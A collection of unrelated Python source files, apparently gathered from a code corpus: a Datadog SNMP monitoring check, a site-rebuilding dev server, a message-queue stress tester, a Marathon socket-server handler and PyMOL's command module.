# (C) Datadog, Inc. 2010-present # All rights reserved # Licensed under Simplified BSD License (see LICENSE) import copy import fnmatch import functools import ipaddress import json import threading import time from collections import defaultdict from concurrent import futures from typing import Any, DefaultDict, Dict, List, Optional, Tuple, Union from six import iteritems from datadog_checks.base import AgentCheck, ConfigurationError, is_affirmative from datadog_checks.base.errors import CheckException from .commands import snmp_bulk, snmp_get, snmp_getnext from .compat import read_persistent_cache, write_persistent_cache from .config import InstanceConfig, ParsedMetric, ParsedMetricTag, ParsedTableMetric from .exceptions import PySnmpError from .metrics import as_metric_with_forced_type, as_metric_with_inferred_type from .pysnmp_types import ObjectIdentity, ObjectType, noSuchInstance, noSuchObject from .types import ForceableMetricType from .utils import OIDPrinter, get_profile_definition, oid_pattern_specificity, recursively_expand_base_profiles DEFAULT_OID_BATCH_SIZE = 10 def reply_invalid(oid): # type: (Any) -> bool return noSuchInstance.isSameTypeWith(oid) or noSuchObject.isSameTypeWith(oid) class SnmpCheck(AgentCheck): SC_STATUS = 'snmp.can_check' _running = True _thread = None _executor = None _NON_REPEATERS = 0 _MAX_REPETITIONS = 25 def __init__(self, *args, **kwargs): # type: (*Any, **Any) -> None super(SnmpCheck, self).__init__(*args, **kwargs) # Set OID batch size self.oid_batch_size = int(self.init_config.get('oid_batch_size', DEFAULT_OID_BATCH_SIZE)) # Load Custom MIB directory self.mibs_path = self.init_config.get('mibs_folder') self.ignore_nonincreasing_oid = is_affirmative(self.init_config.get('ignore_nonincreasing_oid', False)) self.profiles = self.init_config.get('profiles', {}) # type: Dict[str, Dict[str, Any]] self.profiles_by_oid = {} # type: Dict[str, str] self._load_profiles() self.instance['name'] = self._get_instance_name(self.instance) self._config = self._build_config(self.instance) def _load_profiles(self): # type: () -> None """ Load the configured SNMP profiles and index them by sysObjectID, if possible. """ for name, profile in self.profiles.items(): try: definition = get_profile_definition(profile) except Exception as exc: raise ConfigurationError("Couldn't read profile '{}': {}".format(name, exc)) try: recursively_expand_base_profiles(definition) except Exception as exc: raise ConfigurationError("Failed to expand base profiles in profile '{}': {}".format(name, exc)) self.profiles[name] = {'definition': definition} sys_object_oid = definition.get('sysobjectid') if sys_object_oid is not None: self.profiles_by_oid[sys_object_oid] = name def _build_config(self, instance): # type: (dict) -> InstanceConfig return InstanceConfig( instance, warning=self.warning, global_metrics=self.init_config.get('global_metrics', []), mibs_path=self.mibs_path, profiles=self.profiles, profiles_by_oid=self.profiles_by_oid, ) def _get_instance_name(self, instance): # type: (Dict[str, Any]) -> Optional[str] name = instance.get('name') if name: return name ip = instance.get('ip_address') # type: Optional[str] port = instance.get('port') # type: Optional[int] if ip and port: return '{host}:{port}'.format(host=ip, port=port) elif ip: return ip else: return None def discover_instances(self, interval): # type: (float) -> None config = self._config while self._running: start_time = time.time() for host in config.network_hosts(): instance = copy.deepcopy(config.instance) instance.pop('network_address') instance['ip_address'] = host host_config = self._build_config(instance) try: sys_object_oid = self.fetch_sysobject_oid(host_config) except Exception as e: self.log.debug("Error scanning host %s: %s", host, e) continue try: profile = self._profile_for_sysobject_oid(sys_object_oid) except ConfigurationError: if not (host_config.all_oids or host_config.bulk_oids): self.log.warning("Host %s didn't match a profile for sysObjectID %s", host, sys_object_oid) continue else: host_config.refresh_with_profile(self.profiles[profile], self.warning) host_config.add_profile_tag(profile) config.discovered_instances[host] = host_config write_persistent_cache(self.check_id, json.dumps(list(config.discovered_instances))) # Write again at the end of the loop, in case some host have been removed since last write_persistent_cache(self.check_id, json.dumps(list(config.discovered_instances))) time_elapsed = time.time() - start_time if interval - time_elapsed > 0: time.sleep(interval - time_elapsed) def fetch_results(self, config, all_oids, bulk_oids): # type: (InstanceConfig, list, list) -> Tuple[Dict[str, Dict[Tuple[str, ...], Any]], Optional[str]] """ Perform a snmpwalk on the domain specified by the oids, on the device configured in instance. Returns a dictionary: dict[oid/metric_name][row index] = value In case of scalar objects, the row index is just 0 """ results = defaultdict(dict) # type: DefaultDict[str, Dict[Tuple[str, ...], Any]] enforce_constraints = config.enforce_constraints all_binds, error = self.fetch_oids(config, all_oids, enforce_constraints=enforce_constraints) for oid in bulk_oids: try: self.log.debug('Running SNMP command getBulk on OID %r', oid) binds = snmp_bulk( config, oid, self._NON_REPEATERS, self._MAX_REPETITIONS, enforce_constraints, self.ignore_nonincreasing_oid, ) all_binds.extend(binds) except PySnmpError as e: message = 'Failed to collect some metrics: {}'.format(e) if not error: error = message self.warning(message) for result_oid, value in all_binds: metric, indexes = config.resolve_oid(result_oid) results[metric][indexes] = value self.log.debug('Raw results: %s', OIDPrinter(results, with_values=False)) # Freeze the result results.default_factory = None return results, error def fetch_oids(self, config, oids, enforce_constraints): # type: (InstanceConfig, list, bool) -> Tuple[List[Any], Optional[str]] # UPDATE: We used to perform only a snmpgetnext command to fetch metric values. # It returns the wrong value when the OID passed is referring to a specific leaf. # For example: # snmpgetnext -v2c -c public localhost:11111 1.3.6.1.2.1.25.4.2.1.7.222 # iso.3.6.1.2.1.25.4.2.1.7.224 = INTEGER: 2 # SOLUTION: perform a snmpget command and fallback with snmpgetnext if not found error = None first_oid = 0 all_binds = [] while first_oid < len(oids): try: oids_batch = oids[first_oid : first_oid + self.oid_batch_size] self.log.debug('Running SNMP command get on OIDS: %s', OIDPrinter(oids_batch, with_values=False)) var_binds = snmp_get(config, oids_batch, lookup_mib=enforce_constraints) self.log.debug('Returned vars: %s', OIDPrinter(var_binds, with_values=True)) missing_results = [] for var in var_binds: result_oid, value = var if reply_invalid(value): oid_tuple = result_oid.asTuple() missing_results.append(ObjectType(ObjectIdentity(oid_tuple))) else: all_binds.append(var) if missing_results: # If we didn't catch the metric using snmpget, try snmpnext # Don't walk through the entire MIB, stop at end of table self.log.debug( 'Running SNMP command getNext on OIDS: %s', OIDPrinter(missing_results, with_values=False) ) binds = list( snmp_getnext( config, missing_results, lookup_mib=enforce_constraints, ignore_nonincreasing_oid=self.ignore_nonincreasing_oid, ) ) self.log.debug('Returned vars: %s', OIDPrinter(binds, with_values=True)) all_binds.extend(binds) except PySnmpError as e: message = 'Failed to collect some metrics: {}'.format(e) if not error: error = message self.warning(message) # if we fail move onto next batch first_oid += self.oid_batch_size return all_binds, error def fetch_sysobject_oid(self, config): # type: (InstanceConfig) -> str """Return the sysObjectID of the instance.""" # Reference sysObjectID directly, see http://oidref.com/1.3.6.1.2.1.1.2 oid = ObjectType(ObjectIdentity((1, 3, 6, 1, 2, 1, 1, 2, 0))) self.log.debug('Running SNMP command on OID: %r', OIDPrinter((oid,), with_values=False)) var_binds = snmp_get(config, [oid], lookup_mib=False) self.log.debug('Returned vars: %s', OIDPrinter(var_binds, with_values=True)) return var_binds[0][1].prettyPrint() def _profile_for_sysobject_oid(self, sys_object_oid): # type: (str) -> str """ Return the most specific profile that matches the given sysObjectID. """ profiles = [profile for oid, profile in self.profiles_by_oid.items() if fnmatch.fnmatch(sys_object_oid, oid)] if not profiles: raise ConfigurationError('No profile matching sysObjectID {}'.format(sys_object_oid)) return max( profiles, key=lambda profile: oid_pattern_specificity(self.profiles[profile]['definition']['sysobjectid']) ) def _start_discovery(self): # type: () -> None cache = read_persistent_cache(self.check_id) if cache: hosts = json.loads(cache) for host in hosts: try: ipaddress.ip_address(host) except ValueError: write_persistent_cache(self.check_id, json.dumps([])) break instance = copy.deepcopy(self.instance) instance.pop('network_address') instance['ip_address'] = host host_config = self._build_config(instance) self._config.discovered_instances[host] = host_config raw_discovery_interval = self._config.instance.get('discovery_interval', 3600) try: discovery_interval = float(raw_discovery_interval) except (ValueError, TypeError): message = 'discovery_interval could not be parsed as a number: {!r}'.format(raw_discovery_interval) raise ConfigurationError(message) self._thread = threading.Thread(target=self.discover_instances, args=(discovery_interval,), name=self.name) self._thread.daemon = True self._thread.start() self._executor = futures.ThreadPoolExecutor(max_workers=self._config.workers) def check(self, instance): # type: (Dict[str, Any]) -> None config = self._config if config.ip_network: if self._thread is None: self._start_discovery() executor = self._executor if executor is None: raise RuntimeError("Expected executor be set") sent = [] for host, discovered in list(config.discovered_instances.items()): future = executor.submit(self._check_with_config, discovered) sent.append(future) future.add_done_callback(functools.partial(self._check_config_done, host)) futures.wait(sent) tags = ['network:{}'.format(config.ip_network)] tags.extend(config.tags) self.gauge('snmp.discovered_devices_count', len(config.discovered_instances), tags=tags) else: self._check_with_config(config) def _check_config_done(self, host, future): # type: (str, futures.Future) -> None config = self._config if future.result(): config.failing_instances[host] += 1 if config.failing_instances[host] >= config.allowed_failures: # Remove it from discovered instances, we'll re-discover it later if it reappears config.discovered_instances.pop(host) # Reset the failure counter as well config.failing_instances.pop(host) else: # Reset the counter if not's failing config.failing_instances.pop(host, None) def _check_with_config(self, config): # type: (InstanceConfig) -> Optional[str] # Reset errors instance = config.instance error = results = None tags = config.tags try: if not (config.all_oids or config.bulk_oids): sys_object_oid = self.fetch_sysobject_oid(config) profile = self._profile_for_sysobject_oid(sys_object_oid) config.refresh_with_profile(self.profiles[profile], self.warning) config.add_profile_tag(profile) if config.all_oids or config.bulk_oids: self.log.debug('Querying device %s', config.ip_address) config.add_uptime_metric() results, error = self.fetch_results(config, config.all_oids, config.bulk_oids) tags = self.extract_metric_tags(config.parsed_metric_tags, results) tags.extend(config.tags) self.report_metrics(config.parsed_metrics, results, tags) except CheckException as e: error = str(e) self.warning(error) except Exception as e: if not error: error = 'Failed to collect metrics for {} - {}'.format(instance['name'], e) self.warning(error) finally: # Report service checks status = self.OK if error: status = self.CRITICAL if results: status = self.WARNING self.service_check(self.SC_STATUS, status, tags=tags, message=error) return error def extract_metric_tags(self, metric_tags, results): # type: (List[ParsedMetricTag], Dict[str, dict]) -> List[str] extracted_tags = [] for tag in metric_tags: if tag.symbol not in results: self.log.debug('Ignoring tag %s', tag.symbol) continue tag_values = list(results[tag.symbol].values()) if len(tag_values) > 1: raise CheckException( 'You are trying to use a table column (OID `{}`) as a metric tag. This is not supported as ' '`metric_tags` can only refer to scalar OIDs.'.format(tag.symbol) ) extracted_tags.append('{}:{}'.format(tag.name, tag_values[0])) return extracted_tags def report_metrics( self, metrics, # type: List[Union[ParsedMetric, ParsedTableMetric]] results, # type: Dict[str, Dict[Tuple[str, ...], Any]] tags, # type: List[str] ): # type: (...) -> None """ For each of the metrics specified gather the tags requested in the instance conf for each row. Submit the results to the aggregator. """ for metric in metrics: name = metric.name if name not in results: self.log.debug('Ignoring metric %s', name) continue if isinstance(metric, ParsedTableMetric): for index, val in iteritems(results[name]): metric_tags = tags + self.get_index_tags(index, results, metric.index_tags, metric.column_tags) self.submit_metric(name, val, metric.forced_type, metric_tags) else: result = list(results[name].items()) if len(result) > 1: self.log.warning('Several rows corresponding while the metric is supposed to be a scalar') if metric.enforce_scalar: # For backward compatibility reason, we publish the first value for OID. continue val = result[0][1] metric_tags = tags + metric.metric_tags self.submit_metric(name, val, metric.forced_type, metric_tags) def get_index_tags( self, index, # type: Tuple[str, ...] results, # type: Dict[str, dict] index_tags, # type: List[Tuple[str, int]] column_tags, # type: List[Tuple[str, str]] ): # type: (...) -> List[str] """ Gather the tags for this row of the table (index) based on the results (all the results from the query). index_tags and column_tags are the tags to gather. - Those specified in index_tags contain the tag_group name and the index of the value we want to extract from the index tuple. cf. 1 for ipVersion in the IP-MIB::ipSystemStatsTable for example - Those specified in column_tags contain the name of a column, which could be a potential result, to use as a tage cf. ifDescr in the IF-MIB::ifTable for example """ tags = [] # type: List[str] for name, raw_index_value in index_tags: try: value = index[raw_index_value - 1] except IndexError: self.log.warning('Not enough indexes, skipping tag %s', name) continue tags.append('{}:{}'.format(name, value)) for name, raw_column_value in column_tags: try: column_value = results[raw_column_value][index] except KeyError: self.log.warning('Column %s not present in the table, skipping this tag', raw_column_value) continue if reply_invalid(column_value): self.log.warning("Can't deduct tag from column for tag %s", name) continue value = column_value.prettyPrint() tags.append('{}:{}'.format(name, value)) return tags def submit_metric(self, name, snmp_value, forced_type, tags): # type: (str, Any, Optional[ForceableMetricType], List[str]) -> None """ Convert the values reported as pysnmp-Managed Objects to values and report them to the aggregator. """ if reply_invalid(snmp_value): # Metrics not present in the queried object self.log.warning('No such Mib available: %s', name) return metric_name = self.normalize(name, prefix='snmp') if forced_type is not None: metric = as_metric_with_forced_type(snmp_value, forced_type) if metric is None: self.warning('Invalid forced-type specified: %s in %s', forced_type, name) raise ConfigurationError('Invalid forced-type in config file: {}'.format(name)) else: metric = as_metric_with_inferred_type(snmp_value) if metric is None: self.log.warning('Unsupported metric type %s for %s', snmp_value.__class__.__name__, metric_name) return submit_func = getattr(self, metric['type']) submit_func(metric_name, metric['value'], tags=tags)
server.py
#!/usr/bin/env python import SimpleHTTPServer import SocketServer import os from time import sleep import shutil import threading import signal import build_pipeline.build from build_pipeline.util import fileutils as futil refresh_js_path = os.path.join(os.path.dirname(__file__), 'refresh.js') class QuieterHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def log_request(self, code='-', size='-'): if not self.requestline.startswith('HEAD'): SimpleHTTPServer.SimpleHTTPRequestHandler.log_request(self, code, size) class Server: def __init__(self, src_dir, dst_dir, port=8080, **kwargs): self.src_dir = src_dir self.dst_dir = dst_dir self.port = port self.final_build_dir = os.path.join(self.dst_dir, 'final') self.httpd = None self.server_thread = None self.watch = True def start(self): # Clean shutdown on ctrl+c def signal_handler(signal, frame): print print 'Shutting down...' self.watch = False self.stop_server() signal.signal(signal.SIGINT, signal_handler) print 'Serving at port', self.port print 'Serving files from', self.final_build_dir print('Press Ctrl+C to stop') (lastmtime, path) = self.getUpdatedFile(0) self.rebuild() self.start_server() while self.watch: (lastmtime, path) = self.getUpdatedFile(lastmtime) if path: print 'File changed:', path self.stop_server() self.rebuild() self.start_server() sleep(0.25) def getUpdatedFile(self, lastmtime): updatedPath = None for (root, dirs, files) in os.walk(self.src_dir): for f in files: if futil.ext(f) not in ['.swp'] and f != '.DS_Store': path = os.path.join(root, f) mtime = os.path.getmtime(path) if mtime > lastmtime: lastmtime = mtime updatedPath = path return (lastmtime, updatedPath) # Rebuilds the project, as if by "build.py build --skip s3_upload --skip invalidate_cdn" def rebuild(self): try: print 'Building', self.src_dir os.chdir(self.src_dir) build_pipeline.build.build(self.src_dir, self.dst_dir, skip=['s3_upload', 'invalidate_cdn'], opts={'environment': 'development'}) # Copy the refresh.js file last, since that will indicate that the # build is done. dst_js_dir = os.path.join(self.final_build_dir, 'js') if not os.path.exists(dst_js_dir): os.mkdir(dst_js_dir) shutil.copy(refresh_js_path, dst_js_dir) except Exception as e: print e def server(self): os.chdir(self.final_build_dir) SocketServer.TCPServer.allow_reuse_address = True self.httpd = SocketServer.TCPServer(('', self.port), QuieterHTTPRequestHandler) try: self.httpd.serve_forever() finally: self.httpd.server_close() # Runs the HTTP server in a separate thread def start_server(self): self.server_thread = threading.Thread(target=lambda: self.server()) self.server_thread.start() def stop_server(self): if self.httpd: self.httpd.shutdown() self.server_thread.join()
hammermq.py
""" This module has a Hammer class, which can be used to stress-test a message queue backend. It also helps when looking for memory leaks. This is only really useful for people working on mq backend classes. """ import itertools import resource import sys import time import threading from boto import sqs from boto.sqs.message import Message from mq.utils import time_elapsed class Hammer(object): def __init__(self, message_queue, aws_region=None): self.message_queue = message_queue self.aws_region = aws_region def main(self): """Handles the arguments and running of hammermq script.""" if len(sys.argv) != 2: args = '|'.join(sorted(self)) sys.stderr.write('Usage: %s <%s>\n' % (sys.argv[0], args)) sys.exit(1) command = sys.argv[1] if not hasattr(self, command): sys.stderr.write('Unknown command: %s\n' % command) sys.exit(2) getattr(self, command)() def __iter__(self): for name in dir(self): if not name.startswith('_') and name != 'main': yield name def open(self): message_queue = self.message_queue for count in itertools.count(1): with message_queue.open('test'): print 'Loop %d' % count, memory_usage() def declare(self): message_queue = self.message_queue with message_queue.open('test') as queue: for count in itertools.count(1): queue.declare() print 'Loop %d' % count, memory_usage() def put(self): message_queue = self.message_queue with message_queue.open('test') as queue: queue.declare() for count in itertools.count(1): with time_elapsed('Loop %d' % count): queue.put('hammermq') print 'Memory:', memory_usage() def put_buffered(self): message_queue = self.message_queue with message_queue.buffer_context(): self.put() def put_threads(self, buffered=False, threads=2): # with SQS, threads=2: # 28mb at the beginning # 29mb quickly # 30mb at 200 messages # 30mb at 1300 messages # 30mb at 2000 messages message_queue = self.message_queue with message_queue.open('test') as queue: queue.declare() self.running = True counter = itertools.count() counter_lock = threading.Lock() def putter(): while self.running: with counter_lock: print 'Loop %d' % next(counter) with message_queue.open('test') as queue: queue.put('hammermq') print 'Memory:', memory_usage() def putter_buffered(): with message_queue.buffer_context(): putter() if buffered: target = putter_buffered else: target = putter for x in range(threads): thread = threading.Thread(target=target) thread.daemon = True thread.start() try: while self.running: time.sleep(1) except KeyboardInterrupt: self.running = False def put_buffered_threads(self): self.put_threads(buffered=True) def iter(self): message_queue = self.message_queue with message_queue.open('test') as queue: queue.declare() for count in itertools.count(1): with time_elapsed('Loop %d' % count): for message in itertools.islice(queue, 1): pass print 'Memory:', memory_usage() def ack(self): message_queue = self.message_queue with message_queue.open('test') as queue: for (count, (message, message_id)) in enumerate(queue): with time_elapsed('Loop %d' % count): queue.ack(message_id) print 'Memory:', memory_usage() def nack(self): message_queue = self.message_queue with message_queue.open('test') as queue: for count in itertools.count(1): with time_elapsed('Loop %d' % count): for message, message_id in queue: queue.nack(message_id) print 'Memory:', memory_usage() def boto_put(self): if not self.aws_region: raise ValueError('aws_region') queue_name = 'hammermq-test' connection = sqs.connect_to_region(self.aws_region) queue = connection.create_queue(queue_name) queue.set_message_class(Message) # stays around 28mb for count in itertools.count(1): with time_elapsed('Loop %d' % count): message = Message() message.set_body('test') result = queue.write(message) assert result print 'Memory:', memory_usage() def boto_put_threads(self, threads=2): # 31mb around the beginning # 32mb after roughly 1800 messages # 32mb after roughly 4500 messages if not self.aws_region: raise ValueError('aws_region') queue_name = 'hammermq-test' connection = sqs.connect_to_region(self.aws_region) queue = connection.create_queue(queue_name) queue.set_message_class(Message) message = Message() message.set_body('test') self.running = True counter = itertools.count() counter_lock = threading.Lock() def putter(): while self.running: with counter_lock: print 'Loop %d' % next(counter) result = queue.write(message) assert result print 'Memory:', memory_usage() for x in range(threads): thread = threading.Thread(target=putter) thread.daemon = True thread.start() try: while self.running: time.sleep(1) except KeyboardInterrupt: self.running = False def memory_usage(): usage_kb = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss usage_mb = usage_kb / 1024 return '%dmb' % usage_mb
serverhandler.py
""" serverhandler.py Author: Steven Gantz Date: 11/22/2016 This script spins up individual socket servers on the local machine that are listening on 0.0.0.0. Each socket server has an individual port which maps directly to each scaled instance of an application inside Marathon. """ # Official Imports from threading import Thread import http.server # Local Imports from marathontcp import MarathonRedirectTCPServer from marathontcp import MarathonRedirectTCPHandler class ServerHandler: """ Handles spinning up multiple socker servers on httpserver to listen for requests """ def __init__(self, inputArgs, marathon_service, metrics): """ Takes a CommandLineArguments object as input """ self.inputArgs = inputArgs # Save CLA internally self.startingport = 4000 # Set default port self.metrics = metrics # Add metrics object self.marathon_service = marathon_service # get marathon data values self.__buildUsingValues() self.Handler = http.server.SimpleHTTPRequestHandler def __buildUsingValues(self): """ Build using individual values """ startingPort = self.startingport endingPort = startingPort + int(self.inputArgs.totalports) self.threadList = [] # Pass the URL into the TCP custom object index = 0 for port in range(startingPort, endingPort): try: httpd = MarathonRedirectTCPServer(("0.0.0.0", port), MarathonRedirectTCPHandler, api_url=self.marathon_service.endpointList[index]) # Add server to list of live endpoints self.metrics.add_server(self.marathon_service.endpointList[index]) self.threadList.append(Thread(target=httpd.serve_forever)) index = index + 1 # Iterate endpoint index except IndexError: print("Attempted to create thread with no live endpoint mapping.\n Thread " + str(index+1) + " creation denied.") index = index + 1 def startSocketServers(self): """ Start and subsequently join the socket servers """ # Start every thread on its own for thread in self.threadList: print("Starting " + str(thread)) thread.start() # Join each thread for thread in self.threadList: thread.join() print(str(thread) + " joined")
commanding.py
#A* ------------------------------------------------------------------- #B* This file contains source code for the PyMOL computer program #C* Copyright (c) Schrodinger, LLC. #D* ------------------------------------------------------------------- #E* It is unlawful to modify or remove this copyright notice. #F* ------------------------------------------------------------------- #G* Please see the accompanying LICENSE file for further information. #H* ------------------------------------------------------------------- #I* Additional authors of this source file include: #-* #-* #-* #Z* ------------------------------------------------------------------- if __name__=='pymol.commanding': import thread import string import re import os import time import threading import traceback import parsing import cmd import pymol from cmd import _cmd, Shortcut, QuietException, \ fb_module, fb_mask, is_list, \ DEFAULT_ERROR, DEFAULT_SUCCESS, is_ok, is_error, is_string def resume(filename, _self=cmd): ''' DESCRIPTION "resume" executes a log file and opens it for recording of additional commands. USAGE resume filename SEE ALSO log, log_close ''' pymol=_self._pymol r = DEFAULT_ERROR if os.path.exists(filename): if(re.search(r"\.py$|\.PY$|\.pym$|.PYM$",filename)): r = _self.do("run %s"%filename) else: r = _self.do("@%s"%filename) if is_ok(r): r = _self.do("log_open %s,a"%filename) if _self._raising(r,_self): raise pymol.CmdException return r class QueueFile: def __init__(self,queue): self.queue = queue def write(self,command): self.queue.put(command) def flush(self): pass def close(self): del self.queue def log_open(filename='log.pml', mode='w', _self=cmd): ''' DESCRIPTION "log_open" opens a log file for writing. USAGE log_open filename SEE ALSO log, log_close ''' pymol=_self._pymol if not is_string(filename): # we're logging to Queue, not a file. pymol._log_file = QueueFile(filename) _self.set("logging",1,quiet=1) else: try: try: if hasattr(pymol,"_log_file"): if pymol._log_file!=None: pymol._log_file.close() del pymol._log_file except: pass pymol._log_file = open(filename,mode) if _self._feedback(fb_module.cmd,fb_mask.details): # redundant if mode!='a': print " Cmd: logging to '%s'."%filename else: print " Cmd: appending to '%s'."%filename if mode=='a': pymol._log_file.write("\n") # always start on a new line if(re.search(r"\.py$|\.PY$|\.pym$|\.PYM$",filename)): _self.set("logging",2,quiet=1) else: _self.set("logging",1,quiet=1) except: print"Error: unable to open log file '%s'"%filename pymol._log_file = None _self.set("logging",0,quiet=1) traceback.print_exc() raise QuietException def log(text, alt_text=None, _self=cmd): ''' DESCRIPTION "log" writes a command to the log file (if one is open). SEE ALSO log_open, log_close ''' pymol=_self._pymol cmd=_self if hasattr(pymol,"_log_file"): if pymol._log_file!=None: mode = _self.get_setting_legacy("logging") if mode: if mode==1: pymol._log_file.write(text) elif mode==2: if alt_text!=None: pymol._log_file.write(alt_text) else: pymol._log_file.write("cmd.do('''%s''')\n"%string.strip(text)) pymol._log_file.flush() def log_close(_self=cmd): ''' DESCRIPTION "log_close" closes the current log file (if one is open). USAGE log_close SEE ALSO log, log_open ''' pymol=_self._pymol cmd=_self if hasattr(pymol,"_log_file"): if pymol._log_file!=None: pymol._log_file.close() del pymol._log_file _self.set("logging",0,quiet=1) if _self._feedback(fb_module.cmd,fb_mask.details): # redundant print " Cmd: log closed." def cls(_self=cmd): ''' DESCRIPTION "cls" clears the output buffer. USAGE cls ''' r = DEFAULT_ERROR try: _self.lock(_self) r = _cmd.cls(_self._COb) finally: _self.unlock(r,_self) if _self._raising(r,_self): raise pymol.CmdException return r def splash(mode=0, _self=cmd): pymol=_self._pymol cmd=_self ''' DESCRIPTION "splash" shows the splash screen information. USAGE splash ''' r = DEFAULT_ERROR mode = int(mode) if mode == 2: # query try: _self.lock(_self) r = _cmd.splash(_self._COb,1) finally: _self.unlock(0,_self) elif mode == 1: # just show PNG show_splash = 1 try: _self.lock(_self) show_splash = _cmd.splash(_self._COb,1) finally: _self.unlock(0,_self) r = DEFAULT_SUCCESS if show_splash==1: # generic / open-source png_path = _self.exp_path("$PYMOL_PATH/data/pymol/splash.png") elif show_splash==2: # evaluation builds png_path = _self.exp_path("$PYMOL_PATH/data/pymol/epymol.png") else: # incentive builds png_path = _self.exp_path("$PYMOL_PATH/data/pymol/ipymol.png") if os.path.exists(png_path): _self.do("_ cmd.load_png('%s',0,quiet=1)"%png_path) else: if _self.get_setting_legacy("internal_feedback")>0.1: _self.set("text","1",quiet=1) print try: _self.lock(_self) r = _cmd.splash(_self._COb,0) finally: _self.unlock(r,_self) if _self._raising(r,_self): raise pymol.CmdException return r reinit_code = { 'everything' : 0, 'settings' : 1, 'store_defaults' : 2, 'original_settings' : 3, 'purge_defaults' : 4, } reinit_sc = Shortcut(reinit_code.keys()) def reinitialize(what='everything', object='', _self=cmd): ''' DESCRIPTION "reinitialize" reinitializes the program by deleting all objects and restoring the default program settings. USAGE reinitialize ''' r = DEFAULT_ERROR what = reinit_code[reinit_sc.auto_err(str(what),'option')] try: _self.lock(_self) r = _cmd.reinitialize(_self._COb,int(what),str(object)) finally: _self.unlock(r,_self) if _self._raising(r,_self): raise pymol.CmdException return r def sync(timeout=1.0,poll=0.05,_self=cmd): ''' DESCRIPTION "sync" is an API-only function which waits until all current commmands have been executed before returning. A timeout can be used to insure that this command eventually returns. PYMOL API cmd.sync(float timeout=1.0,float poll=0.05) SEE ALSO frame ''' for t in async_threads: t.join() now = time.time() timeout = float(timeout) poll = float(poll) # first, make sure there aren't any commands waiting... if _cmd.wait_queue(_self._COb): # commands waiting to be executed? while 1: if not _cmd.wait_queue(_self._COb): break e = threading.Event() # using this for portable delay e.wait(poll) del e if (timeout>=0.0) and ((time.time()-now)>timeout): break if _cmd.wait_deferred(_self._COb): # deferred tasks waiting for a display event? if thread.get_ident() == pymol.glutThread: _self.refresh() else: while 1: if not _cmd.wait_queue(_self._COb): break e = threading.Event() # using this for portable delay e.wait(poll) del e if (timeout>=0.0) and ((time.time()-now)>timeout): break # then make sure we can grab the API while 1: if _self.lock_attempt(_self): _self.unlock(_self) break e = threading.Event() # using this for portable delay e.wait(poll) del e if (timeout>=0.0) and ((time.time()-now)>timeout): break def do(commands,log=1,echo=1,flush=0,_self=cmd): # WARNING: don't call this routine if you already have the API lock # use cmd._do instead ''' DESCRIPTION "do" makes it possible for python programs to issue simple PyMOL commands as if they were entered on the command line. PYMOL API cmd.do( commands ) USAGE (PYTHON) from pymol import cmd cmd.do("load file.pdb") ''' r = DEFAULT_ERROR log = int(log) if is_list(commands): cmmd_list = commands else: cmmd_list = [ commands ] n_cmmd = len(cmmd_list) if n_cmmd>1: # if processing a list of commands, defer updates defer = _self.get_setting_legacy("defer_updates") _self.set('defer_updates',1) for cmmd in cmmd_list: lst = string.split(string.replace(cmmd,chr(13),chr(10)),chr(10)) if len(lst)<2: for a in lst: if(len(a)): try: _self.lock(_self) r = _cmd.do(_self._COb,a,log,echo) finally: _self.unlock(r,_self) else: r = DEFAULT_SUCCESS else: try: _self.lock(_self) do_flush = flush or ((thread.get_ident() == _self._pymol.glutThread) and _self.lock_api_allow_flush) for a in lst: if len(a): r = _cmd.do(_self._COb,a,log,echo) if do_flush: _self.unlock(r,_self) # flushes _self.lock(_self) else: r = DEFAULT_SUCCESS finally: _self.unlock(r,_self) if n_cmmd>1: _self.set('defer_updates',defer) if _self._raising(r,_self): raise pymol.CmdException return r def quit(code=0, _self=cmd): ''' DESCRIPTION "quit" terminates the program. USAGE quit PYMOL API cmd.quit() ''' code = int(code) if thread.get_ident() == pymol.glutThread: _self._quit(code, _self) else: try: _self.lock(_self) _cmd.do(_self._COb,"_ time.sleep(0.100);cmd._quit(%d)" % (code),0,0) # allow time for a graceful exit from the calling thread try: thread.exit() except SystemExit: pass finally: _self.unlock(-1,_self=_self) return None def delete(name,_self=cmd): ''' DESCRIPTION "delete" removes an object or a selection. USAGE delete name delete all # deletes all objects name = name of object or selection PYMOL API cmd.delete (string name = object-or-selection-name ) SEE ALSO remove ''' r = DEFAULT_ERROR try: _self.lock(_self) r = _cmd.delete(_self._COb,str(name)) finally: _self.unlock(r,_self) if _self._raising(r,_self): raise pymol.CmdException return r def extend(name, function=None, _self=cmd): ''' DESCRIPTION "extend" is an API-only function which binds a new external function as a command into the PyMOL scripting language. PYMOL API cmd.extend(string name,function function) PYTHON EXAMPLE def foo(moo=2): print moo cmd.extend('foo',foo) The following would now work within PyMOL: PyMOL>foo 2 PyMOL>foo 3 3 PyMOL>foo moo=5 5 PyMOL>foo ? Usage: foo [ moo ] NOTES For security reasons, new PyMOL commands created using "extend" are not saved or restored in sessions. SEE ALSO alias, api ''' if function is None: name, function = name.__name__, name _self.keyword[name] = [function, 0,0,',',parsing.STRICT] _self.kwhash.append(name) _self.help_sc.append(name) return function # for aliasing compound commands to a single keyword def alias(name, command, _self=cmd): ''' DESCRIPTION "alias" binds routinely-used command inputs to a new command keyword. USAGE alias name, command ARGUMENTS name = string: new keyword command = string: literal input with commands separated by semicolons. EXAMPLE alias my_scene, hide; show ribbon, polymer; show sticks, organic; show nonbonded, solvent my_scene NOTES For security reasons, aliased commands are not saved or restored in sessions. SEE ALSO extend, api ''' _self.keyword[name] = [eval("lambda :do('''%s ''')"%command.replace("'''","")), 0,0,',',parsing.STRICT] _self.kwhash.append(name) def dummy(*arg, **kw): ''' DESCRIPTION This is a dummy function which returns None. ''' return None async_threads = [] def async(func, *args, **kwargs): ''' DESCRIPTION Run function threaded and show "please wait..." message. ''' from .wizard.message import Message _self = kwargs.pop('_self', cmd) wiz = Message(['please wait ...'], dismiss=0, _self=_self) _self.set_wizard(wiz) if isinstance(func, str): func = _self.keyword[func][0] def wrapper(): async_threads.append(t) try: func(*args, **kwargs) except (pymol.CmdException, cmd.QuietException) as e: if e.args: print e finally: _self.set_wizard_stack(filter(lambda w: w != wiz, _self.get_wizard_stack())) _self.refresh_wizard() async_threads.remove(t) t = threading.Thread(target=wrapper) t.setDaemon(1) t.start()
rdd.py
